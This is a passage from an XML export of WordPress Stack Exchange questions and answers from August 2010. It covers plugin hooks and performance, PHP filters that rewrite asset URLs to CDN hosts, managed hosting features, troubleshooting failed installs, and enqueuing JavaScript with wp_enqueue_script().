slow down a site&lt;/em&gt;&quot; is that when you have a lot of plugins it's more likely that you'll catch a bad one.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Specifics&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;So let's talk more specifics.  Plugins use &quot;&lt;em&gt;hooks&lt;/em&gt;&quot; which are bits of PHP code that run a certain points along the execution path and they can either do something or filter a value or both. WordPress starts calling hooks earlier in its efforts to compose a web page and generate HTML to send to the browser and continues calling hooks almost until it finishes running for a given page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on which hooks a plugin uses it might be called only on certain pages, in the &quot;&lt;em&gt;background&lt;/em&gt;&quot; or even almost never. Some hooks only work within the admin console. Some hooks only work within certain pages of the admin console. And some hooks are called by the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_schedule_event&quot; rel=&quot;nofollow&quot;&gt;internal psuedo-cron system&lt;/a&gt;.  OTOH, some plugins can load extra CSS or JS files and each of those files slows down performance because of &lt;a href=&quot;http://developer.yahoo.com/performance/rules.html&quot; rel=&quot;nofollow&quot;&gt;Web Performance Rule #1&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to get a feel for what hooks are called on each page consider using the &quot;&lt;a href=&quot;http://gist.github.com/523831&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;&lt;em&gt;Instrument Hooks for WordPress&lt;/em&gt;&lt;/strong&gt;&lt;/a&gt;&quot; plugin I wrote for the question &quot;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/307/where-can-i-find-a-list-of-wordpress-hooks&quot;&gt;&lt;strong&gt;&lt;em&gt;Where Can I Find a List of WordPress Hooks?&lt;/em&gt;&lt;/strong&gt;&lt;/a&gt;&quot; Here's a screen shot of what the plugin shows in the footer when used:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/OzW4l.png&quot; alt=&quot;Screenshot of Instrument Hooks for WordPress Plugin in action&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But just knowing the hooks won't help you know for sure if there is a problem with a plugin. You could call a plugin 100 times and calling it could be negligible compared to another hook call that adds a WHERE clause to a SQL query that could bog down a site that has more than a few hundred posts. Or it could do an HTTP call to another server. Or it could flush the rewrite rules on every page load. The list of sins goes on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only real way to know for sure it so audit the plugin's hooks by reviewing the source code or better running it through a debugger like &lt;a href=&quot;http://www.jetbrains.com/phpstorm/&quot; rel=&quot;nofollow&quot;&gt;PhpStorm+XDEBUG&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Your Own Plugins&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Don't worry about how the code is organized &lt;em&gt;for purposes of performance&lt;/em&gt;; worry about what your code does. &lt;strong&gt;Optimizing a frequently run SQL query&lt;/strong&gt; buy leveraging the &lt;a href=&quot;http://codex.wordpress.org/Transients_API&quot; rel=&quot;nofollow&quot;&gt;Transient API&lt;/a&gt; (See: &lt;a href=&quot;http://tayloegray.com/wp-content/uploads/2010/05/transient-API-Export.pdf&quot; rel=&quot;nofollow&quot;&gt;Presentation about the Transient API&lt;/a&gt;) would be &lt;strong&gt;far better for performance&lt;/strong&gt; than merging the code of 10 plugins into one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, do consider organizing your code for other reasons. I think &lt;strong&gt;a long list of plugins can create psychological distress&lt;/strong&gt; for a lot of users; they see a screen like this, get overwhelmed and just want to simplify things:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20100819-022735.png&quot; alt=&quot;Long List of Plugins&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Yet on the other hand&lt;/em&gt; sometimes users can be overwhelmed because one plugin does too much. For example I felt that way with the &lt;a href=&quot;http://www.gdstarrating.com/&quot; rel=&quot;nofollow&quot;&gt;GD Star Rating Plugin&lt;/a&gt;. After trying it on a project (and worse, trying to hook it to get it to do what I needed) I decided to toss it out on it's ear. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So some people (like me) will often prefer lots of small tight plugins that each do one thing and do it well (it would be nice though if WordPress would support a grouping feature kinda like how &lt;a href=&quot;http://reviews.cnet.com/8301-19512_7-20008918-233.html&quot; rel=&quot;nofollow&quot;&gt;iPhone iOS 4 lets you group apps in folders&lt;/a&gt;.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/gd-star-rating-front-page-20100819-023643.png&quot; alt=&quot;Long List of GD Star Rating Options&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, hope this helps.&lt;/p&gt;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-08-19T06:48:08.563" CommentCount="4" />
  <row Id="553" PostTypeId="2" ParentId="152" CreationDate="2010-08-19T06:58:03.147" Score="1" ViewCount="" Body="&lt;p&gt;The plugin works fine; alternative you can use a own function to replace the bloginf() to your CDN-Url; Example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;replace the url in content:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// replace content for CDN&#xA;if ( !function_exists('fb_add_static_content_url') ) {&#xA;    function fb_add_static_content_url($content) {&#xA;            if ( is_admin() ) // eigentlich überflüssig&#xA;                return $content;&#xA;&#xA;            $wpurl = get_bloginfo('wpurl');&#xA;&#xA;            $search = array(&#xA;                $wpurl . '/wp-content/images/',&#xA;                $wpurl . '/wp-content/download/',&#xA;            );&#xA;&#xA;            $replace = array(&#xA;                'http://cdn1.bueltge.de/',&#xA;                'http://cdn2.bueltge.de/',&#xA;            );&#xA;&#xA;            return str_replace( $search, $replace, $content );&#xA;    }&#xA;    add_filter( 'the_content', 'fb_add_static_content_url' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;replace stylesheet_directoy and others:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// replace for CDN&#xA;if ( !function_exists('fb_add_static_wpurl') ) {&#xA;    function fb_add_static_wpurl($info, $show) {&#xA;&#xA;        if ( is_admin() )&#xA;            return $info;&#xA;&#xA;        $keys = array(&#xA;            'url',&#xA;            'wpurl',&#xA;            'stylesheet_url',&#xA;            'stylesheet_directory',&#xA;            'template_url',&#xA;            'template_directory',&#xA;            );&#xA;&#xA;        if ( in_array( $show, $keys ) ) {&#xA;&#xA;            $wpurl = get_bloginfo('wpurl');&#xA;&#xA;            $search = array(&#xA;                $wpurl . '/wp-content/images/',&#xA;                $wpurl . '/wp-content/download/',&#xA;                $wpurl . '/wp-content/themes/',&#xA;                $wpurl . '/wp-content/plugins/',&#xA;            );&#xA;&#xA;            $replace = array(&#xA;                'http://cdn1.bueltge.de/',&#xA;                'http://cdn2.bueltge.de/',&#xA;                'http://cdn3.bueltge.de/',&#xA;                'http://cdn3.bueltge.de/',&#xA;            );&#xA;&#xA;            return str_replace( $search, $replace, $info );&#xA;&#xA;        } else {&#xA;            return $info;&#xA;        }&#xA;    }&#xA;    add_filter( 'bloginfo_url', 'fb_add_static_wpurl', 9999, 2 );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;replace the template_directory and other:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function fb_add_static_stylesheet_uri($uri) {&#xA;&#xA;            if ( is_admin() )&#xA;                return $uri;&#xA;&#xA;            $wpurl = get_bloginfo('wpurl');&#xA;&#xA;            $search = array(&#xA;                $wpurl . '/wp-content/images/',&#xA;                $wpurl . '/wp-content/download/',&#xA;                $wpurl . '/wp-content/themes/',&#xA;                $wpurl . '/wp-content/plugins/',&#xA;            );&#xA;&#xA;            $replace = array(&#xA;                'http://cdn1.bueltge.de/',&#xA;                'http://cdn2.bueltge.de/',&#xA;                'http://cdn3.bueltge.de/',&#xA;                'http://cdn3.bueltge.de/',&#xA;            );&#xA;            return str_replace( $search, $replace, $uri );&#xA;&#xA;}&#xA;add_filter ( 'template_directory_uri', 'fb_add_static_stylesheet_uri' );&#xA;add_filter ( 'stylesheet_uri', 'fb_add_static_stylesheet_uri' );&#xA;add_filter ( 'stylesheet_directory_uri', 'fb_add_static_stylesheet_uri' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="170" LastActivityDate="2010-08-19T06:58:03.147" />
  <row Id="554" PostTypeId="2" ParentId="266" CreationDate="2010-08-19T07:30:40.290" Score="2" ViewCount="" Body="&lt;p&gt;From a security and performance perspective I think a high end WordPress web host should be run more like a managed server than a hosting company meaning that users would not have access to a control panel and should only be permitted SFTP access to a subdomain directory where their WordPress was installed.  This would eliminate the need to run SuPHP and allow the host to run APC or another opcode cache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;High End WordPress Host Features&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Staging area for development and testing before going live with changes&lt;/li&gt;&#xA;&lt;li&gt;Nginx front end proxy for static content &lt;/li&gt;&#xA;&lt;li&gt;Dedicated MySQL server      &lt;/li&gt;&#xA;&lt;li&gt;version control and alerts on file&#xA;        changes&lt;/li&gt;&#xA;&lt;li&gt;Redundant nightly file and database&#xA;backups&lt;/li&gt;&#xA;&lt;li&gt;Built in support ticket&#xA;        system in WP admin&lt;/li&gt;&#xA;&lt;li&gt;SFTP and&#xA;        WordPress admin panel access only&lt;/li&gt;&#xA;&lt;li&gt;Pre-configured caching plugin&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="251" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-19T08:48:57.497" LastActivityDate="2010-08-19T08:48:57.497" CommunityOwnedDate="2010-08-19T07:30:40.290" CommentCount="1" />
  <row Id="555" PostTypeId="2" ParentId="322" CreationDate="2010-08-19T07:58:07.230" Score="4" ViewCount="" Body="&lt;p&gt;W3-Total Cache has a feature that will scan all your posts and import any external images into the media library and change the paths to the new location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;del&gt;See Screenshot&lt;/del&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/AoIF5.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="251" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2010-08-29T05:24:04.387" LastActivityDate="2010-08-29T05:24:04.387" />
  <row Id="556" PostTypeId="1" AcceptedAnswerId="562" CreationDate="2010-08-19T08:18:46.867" Score="11" ViewCount="1333" Body="&lt;p&gt;I've already added my scripts, but I wanted to know the preferred way.&lt;br&gt;&#xA;I just put a &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tag directly in the &lt;code&gt;header.php&lt;/code&gt; of my template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a preferred method of inserting external or custom js files?&lt;br&gt;&#xA;How would I bind a js file to a single page? (I have the home page in mind)&lt;/p&gt;&#xA;" OwnerUserId="255" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-03-29T14:43:48.930" LastActivityDate="2011-03-29T14:43:48.930" Title="What is the preferred way to add custom javascript files to the site?" Tags="&lt;theme-development&gt;&lt;javascript&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="9" />
  <row Id="557" PostTypeId="2" ParentId="556" CreationDate="2010-08-19T09:09:50.287" Score="1" ViewCount="" Body="&lt;p&gt;Take a look at &lt;a href=&quot;http://wordpress.stackexchange.com/questions/441/how-to-link-external-jquery-javascript-files-with-wordpress&quot;&gt;my question from a few days ago&lt;/a&gt;, the answer to part of your question is there:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/441/how-to-link-external-jquery-javascript-files-with-wordpress&quot;&gt;&lt;strong&gt;How to Link External jQuery/Javascript files with WordPress&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="29" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-19T10:05:05.453" LastActivityDate="2010-08-19T10:05:05.453" CommentCount="2" />
  <row Id="558" PostTypeId="1" AcceptedAnswerId="563" CreationDate="2010-08-19T09:15:31.127" Score="0" ViewCount="215" Body="&lt;p&gt;I didn't know this site exists. So, I asked it on &lt;a href=&quot;http://webapps.stackexchange.com/questions/5539/how-to-prevent-plugin-theme-installation-failures-on-wordpress&quot;&gt;WebApps&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I didn't get a solution still. :-(&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I am unable to install any theme/plugin to my wordpress 3.0&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Downloading install package from http://downloads.wordpress.org/plugin/contact-form-7.2.3.1.zip…    &#xA;Unpacking the package…    &#xA;Installing the plugin…    &#xA;Could not copy file. /public_html/blog/wp-content/plugins/contact-form-7/languages/wpcf7-lt_LT.po    &#xA;Plugin install failed.&#xA;&#xA;Downloading install package from http://wordpress.org/extend/themes/download/piano-black.2.2.zip…&#xA;Unpacking the package…&#xA;Could not create directory. /public_html&#xA;&#xA;Downloading install package from http://downloads.wordpress.org/plugin/contact-form-7.2.3.1.zip…&#xA;Unpacking the package…&#xA;Could not create directory. /public_html/blog/wp-content/upgrade/contact-form-7.tmp/contact-form-7&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get similar messages everytime. Is there any solution?&lt;/p&gt;&#xA;" OwnerUserId="258" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2010-09-18T15:29:28.687" LastActivityDate="2010-09-18T15:31:47.387" Title="How to prevent plugin, theme installation failures on Wordpress?" Tags="&lt;plugins&gt;&lt;3.0&gt;&lt;themes&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="559" PostTypeId="1" CreationDate="2010-08-19T09:16:20.097" Score="2" ViewCount="112" Body="&lt;p&gt;I host a site for a person that does everything via blackberry and wants to email posts to the site.  She has sent one post to the designated mailbox, but 24 hours later the post is still not showing.  Where do I start checking what is going wrong in the process?&lt;/p&gt;&#xA;" OwnerUserId="147" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2010-09-16T11:27:02.183" LastActivityDate="2010-09-16T16:12:06.660" Title="Posting via email, where do I start troubleshooting?" Tags="&lt;posts&gt;&lt;email&gt;" AnswerCount="4" FavoriteCount="1" />
  <row Id="560" PostTypeId="2" ParentId="559" CreationDate="2010-08-19T09:31:56.873" Score="1" ViewCount="" Body="&lt;p&gt;You're obviously posting it to a mailbox that WordPress is accessing, so check the mailbox that your friend has sent an email to, if the email is still in there then WP hasn't taken it out and thus your email settings in WP are probably wrong. If the email isn't in there your friend has probably sent it to the wrong address, not sent it at all or WP may not have read it correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is just the first step into determining the problem, tell us how you get on.&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditorDisplayName="" LastEditDate="2010-08-19T09:47:31.480" LastActivityDate="2010-08-19T09:47:31.480" CommentCount="1" />
  <row Id="561" PostTypeId="1" CreationDate="2010-08-19T09:58:01.027" Score="1" ViewCount="98" Body="&lt;p&gt;For some reason the automated backup that was sent to my email weekly stop arriving. What can be the problem?&lt;/p&gt;&#xA;" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-24T16:37:03.343" LastActivityDate="2011-01-24T16:37:03.343" Title="What can be wrong when automated backups stop being sent to email?" Tags="&lt;email&gt;&lt;backup&gt;" AnswerCount="3" CommentCount="4" />
  <row Id="562" PostTypeId="2" ParentId="556" CreationDate="2010-08-19T10:03:06.593" Score="26" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@naugtur&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Use &lt;code&gt;wp_enqueue_script()&lt;/code&gt; in your theme&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The basic answer is to use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_script&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_enqueue_script()&lt;/code&gt;&lt;/a&gt; in an &lt;code&gt;init&lt;/code&gt; hook, or if in the admin only then in an &lt;code&gt;admin_menu&lt;/code&gt; or &lt;code&gt;admin_init&lt;/code&gt; hook. It might look something like this (which assumes you are calling from your theme's &lt;code&gt;functions.php&lt;/code&gt; file; note how I reference the stylesheet directory):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;add_action('init', 'mysite_init');&#xA;function mysite_init() {&#xA;  $ss_url = get_bloginfo('stylesheet_directory')&#xA;  wp_enqueue_script('mysite-scripts',&quot;$ss_url/js/mysite-scripts.js&quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's the basics. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Pre-defined and Multiple Dependent Scripts&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;But let's say you want to include both jQuery and jQuery UI Sortable from the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_script#Default_scripts_included_with_WordPress&quot; rel=&quot;nofollow&quot;&gt;list of default scripts included with WordPress&lt;/a&gt; &lt;em&gt;and&lt;/em&gt; you want your script to depend on them? Easy, just include the first two scripts using &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_script#Default_scripts_included_with_WordPress&quot; rel=&quot;nofollow&quot;&gt;the pre-defined &lt;em&gt;handles&lt;/em&gt; defined in WordPress&lt;/a&gt; and for your script provide a 3rd parameter to &lt;code&gt;wp_enqueue_script()&lt;/code&gt; which is an array of the script handles used by each script, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;add_action('init', 'mysite_init');&#xA;function mysite_init() {&#xA;  $ss_url = get_bloginfo('stylesheet_directory')&#xA;  wp_enqueue_script('jquery');&#xA;  wp_enqueue_script('jquery-ui-sortable');&#xA;  wp_enqueue_script('mysite-scripts',&quot;$ss_url/js/mysite-scripts.js&quot;,array('jquery','jquery-ui-sortable'));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Scripts in a Plugin&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;What if you want to do it in a plugin instead? Use the &lt;code&gt;plugins_url()&lt;/code&gt; function to specify the URL of your Javascript file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;define('MY_PLUGIN_VERSION','2.0.1');&#xA;add_action('init','my_plugin_init');&#xA;function my_plugin_init() {&#xA;  wp_enqueue_script('jquery');&#xA;  wp_enqueue_script('jquery-ui-sortable');&#xA;  wp_enqueue_script('my-script',plugins_url('/js/my-script.js',__FILE__),array('jquery','jquery-ui-sortable'),MY_PLUGIN_VERSION);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Versioning your Scripts&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Also note that &lt;strong&gt;above&lt;/strong&gt; we gave our plugin a version number and passed it as a 4th parameter to &lt;code&gt;wp_enqueue_script()&lt;/code&gt;. The benefits of using script version number is that if multiple plugins or the theme enqueue the same script by version number more than once WordPress will only send one copy to the browser.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Load Scripts only on pages where needed&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://developer.yahoo.com/performance/rules.html&quot; rel=&quot;nofollow&quot;&gt;1st rule of Web Performance says to &lt;strong&gt;Minimize HTTP Requests&lt;/strong&gt;&lt;/a&gt; so whenever possible you should limit the scripts to load only where needed. For example if you only need your script in the admin limit it to admin pages using the &lt;code&gt;'admin_init'&lt;/code&gt; hook instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;define('MY_PLUGIN_VERSION','2.0.1');&#xA;add_action('admin_init','my_plugin_admin_init');&#xA;function my_plugin_admin_init() {&#xA;  wp_enqueue_script('jquery');&#xA;  wp_enqueue_script('jquery-ui-sortable');&#xA;  wp_enqueue_script('my-script',plugins_url('/js/my-script.js',__FILE__),array('jquery','jquery-ui-sortable'),MY_PLUGIN_VERSION);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Load Your Scripts in the Footer&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If your scripts is one of those that need to be loaded into the footer there is a 5th parameter of &lt;code&gt;wp_enqueue_script()&lt;/code&gt; that tells WordPress to delay it and place it in the footer (assuming your theme did not misbehaved and that it indeed &lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Action_Reference/wp_footer&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;calls the wp_footer hook like all good WordPress themes should&lt;/strong&gt;&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;define('MY_PLUGIN_VERSION','2.0.1');&#xA;add_action('admin_init','my_plugin_admin_init');&#xA;function my_plugin_admin_init() {&#xA;  wp_enqueue_script('jquery');&#xA;  wp_enqueue_script('jquery-ui-sortable');&#xA;  wp_enqueue_script('my-script',plugins_url('/js/my-script.js',__FILE__),array('jquery','jquery-ui-sortable'),MY_PLUGIN_VERSION,true);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Finer Grained Control&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;If you need finer grained control than that &lt;a href=&quot;http://planetozh.com/&quot; rel=&quot;nofollow&quot;&gt;Ozh&lt;/a&gt; has a great article entitled &lt;a href=&quot;http://planetozh.com/blog/2008/04/how-to-load-javascript-with-your-wordpress-plugin/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;&lt;em&gt;How To: Load Javascript With Your WordPress Plugin&lt;/em&gt;&lt;/strong&gt;&lt;/a&gt; that details more.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Loading Scripts from &lt;a href=&quot;http://code.google.com/apis/libraries/devguide.html#jquery&quot; rel=&quot;nofollow&quot;&gt;Google's AJAX CDN&lt;/a&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Assuming you are not familiar Google has a lot of the standard open-source libraries like jQuery hosted so that sites can load the files from Google and increase the likelihood that jQuery will already be in a visitor's browser's cache because so many other sites are loading jQuery from exactly the same location! To load jQuery from &lt;a href=&quot;http://code.google.com/apis/libraries/devguide.html#jquery&quot; rel=&quot;nofollow&quot;&gt;Google's AJAX CDN&lt;/a&gt; you'd need to use &lt;code&gt;wp_deregister_script()&lt;/code&gt; and then &lt;code&gt;wp_register_script()&lt;/code&gt; like so (note I'm using the latest version as of this writing even though Google will continue to host older versions): &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;define('MY_PLUGIN_VERSION','2.0.1');&#xA;add_action('admin_init','my_plugin_admin_init');&#xA;function my_plugin_admin_init() {&#xA;  wp_deregister_script('jquery');&#xA;  wp_register_script( 'jquery','http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js');&#xA;  wp_enqueue_script('jquery');&#xA;  wp_enqueue_script('jquery-ui-sortable');&#xA;  wp_enqueue_script('my-script',plugins_url('/js/my-script.js',__FILE__),array('jquery','jquery-ui-sortable'),MY_PLUGIN_VERSION,true);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Disabling Scripts to Gain Control&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://justintadlock.com/&quot; rel=&quot;nofollow&quot;&gt;Justin Tadlock&lt;/a&gt; has a nice article entitled &lt;a href=&quot;http://justintadlock.com/archives/2009/08/06/how-to-disable-scripts-and-styles&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;&lt;em&gt;How to disable scripts and styles&lt;/em&gt;&lt;/strong&gt;&lt;/a&gt; in case you want to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Combine multiple files into single files (mileage may vary with JavaScript here).&lt;/li&gt;&#xA;&lt;li&gt;Load the files only on the pages we’re using the script or style.&lt;/li&gt;&#xA;&lt;li&gt;Stop having to use !important in our style.css file to make simple CSS adjustments.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h2&gt;Passing Values from PHP to JS with &lt;code&gt;wp_localize_script()&lt;/code&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;On his blog Vladimir Prelovac has a great article entitled &lt;a href=&quot;http://www.prelovac.com/vladimir/best-practice-for-adding-javascript-code-to-wordpress-plugin&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;&lt;em&gt;Best practice for adding JavaScript code to WordPress plugins&lt;/em&gt;&lt;/strong&gt;&lt;/a&gt; where he discusses using &lt;code&gt;wp_localize_script()&lt;/code&gt; to allow you to set the value of variables in your server-side PHP to be later used in your client-side Javascript.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Really Fine Grained Control with &lt;code&gt;wp_print_scripts()&lt;/code&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;And finally if you need really fine-grained control you can look into &lt;code&gt;wp_print_scripts()&lt;/code&gt; as discussed on &lt;a href=&quot;http://beerpla.net/&quot; rel=&quot;nofollow&quot;&gt;Beer Planet&lt;/a&gt; in a post entitled &lt;a href=&quot;http://beerpla.net/2010/01/13/wordpress-plugin-development-how-to-include-css-and-javascript-conditionally-and-only-when-needed-by-the-posts/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;&lt;em&gt;How To Include CSS and JavaScript Conditionally And Only When Needed By The Posts&lt;/em&gt;&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Epiloque&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;That's about it for Best Practices of including Javascript files with WordPress. If I missed something (which I probably have) be sure to let me know in the comments so I can add an update for future travelers.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-11-10T01:16:19.977" LastActivityDate="2010-11-10T01:16:19.977" CommentCount="11" />
  <row Id="563" PostTypeId="2" ParentId="558" CreationDate="2010-08-19T10:49:09.327" Score="1" ViewCount="" Body="&lt;p&gt;It's either the configuration of the path where wordpress is installed (you don't have the right path setup) or if the path is correct, you don't have got enough permissions to modify the file system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So as this answer is very broad, that's because it is of a very technical nature that is bound  to your concrete hosting environment. Please contact your hosting support and figure out together with them which path and permission settings are needed for your wordpress installation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case you copied over your blog from another system, please reset the path related configuration constants and options. Check your &lt;code&gt;wp-config.php&lt;/code&gt; if you make any specific settings in there.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-08-19T10:49:09.327" />
  <row Id="564" PostTypeId="1" CreationDate="2010-08-19T11:15:33.780" Score="1" ViewCount="68" Body="&lt;p&gt;I am testing blogging from Word 2007, so we can support users who wish to do so. Everything works fine, and as expected except the plugins that we use that add filters to the_content (eg &lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-table-of-contents/&quot; rel=&quot;nofollow&quot;&gt;wordpress-table-of-contents&lt;/a&gt;) do not process the posts from Word.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you open the posts in WordPress &amp;amp; save everything works fine, even if you do not change anything, but we want to be able to avoid this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For information, the site I'm most concerned about here is an MU site (running WP 3.0.1), but non-MU sites are affected in exactly the same way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So is there a way to have these plugins process posts that come from Word that doesn't involve interacting with the Wordpress admin panel?&lt;/p&gt;&#xA;" OwnerUserId="260" LastEditorUserId="260" LastEditorDisplayName="" LastEditDate="2010-08-19T14:14:56.667" LastActivityDate="2010-08-20T01:58:49.027" Title="Can plugins that filter post contents work on posts from Word 2007?" Tags="&lt;filters&gt;" AnswerCount="2" CommentCount="6" />
  <row Id="565" PostTypeId="2" ParentId="506" CreationDate="2010-08-19T11:50:07.310" Score="2" ViewCount="" Body="&lt;p&gt;I recommend &lt;a href=&quot;http://wordpress.org/extend/plugins/tinymce-advanced/&quot; rel=&quot;nofollow&quot;&gt;TinyMCE Advanced&lt;/a&gt; as well, I prefer to have more control over the HTML code that is user editable on the site. There's an option &lt;code&gt;Stop removing the P and BR tags when saving and show them in the HTML editor&lt;/code&gt; which will do the trick, it's unticked by default so once installed you need to go into the settings and enable it. Another advantage is the ability to show / hide various aspects of the editor so you can remove buttons that end users might potentially play around with and try to be 'creative' with their content formatting! A lot of the unwanted options are on by default so you need to go in and remove the options you don't want.&lt;/p&gt;&#xA;" OwnerUserId="184" LastActivityDate="2010-08-19T11:50:07.310" />
